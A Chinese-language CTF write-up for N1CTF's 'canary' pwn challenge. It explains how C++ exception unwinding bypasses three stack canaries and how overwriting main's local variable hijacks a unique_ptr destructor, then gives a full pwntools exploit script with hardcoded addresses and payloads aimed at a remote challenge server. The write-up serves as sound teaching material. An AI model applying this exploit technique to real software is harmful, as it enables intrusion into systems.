n1ctf的canary

发布时间 2023-10-23 10:46:40作者: Margatroid
关键词是cpp的异常处理机制(pwn try catch),可以简单参考一下这篇博客https://www.anquanke.com/post/id/89855?eqid=ef87a8a80001d2420000000264942760#h3-3
注意到当我们在第二次输入时覆盖了异或之后的canary,会触发异常处理机制,然后经过一系列的异常抛出、栈回退等过程,执行流回到了
并且绕过了常见canary的检测(总共三个canary,一个usr_canary,一个sys_canary,一个平常见到的那种canary)
在cleanup函数中发现调用了std::unique_ptr<BOFApp>::~unique_ptr()这个析构函数,跟进这个函数发现他内部调用了这么一个函数
显然,如果我们能控制a2的值,就可以控制执行流了。
所以我们再往回看,发现a2的值跟v6有关,而v6是main里的一个局部变量。
如果我们在第二次输入的时候将这个值覆盖,那么就结束了。
剩下就是一些简单的动调,可以把断点打在0x4036e3(看看输入的情况),0x403727(看看参数是什么)来调调
exp:
from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('43.132.193.22',9999)
elf = ELF('./pwn')
 
def dbg():
gdb.attach(p,'b *0x40340d')
payload1=p64(0x4F4AA8)+p64(0x403387)*2+b'a'*0x28
#dbg()
p.sendafter('your canary\n',payload1)
 
payload2=b'a'*0x68+b'\x07\x34\x40\x00\x00\x00\x00\x00'+b'\xa0\x4a\x4f\x00\x00'
#由于他使用的scanf会截断\n,并将\n转换成\x00,所以我当初怕多覆盖到别的东西,就一个一个字节写了(
p.sendlineafter('pwn :)\n',payload2)
 
p.interactive()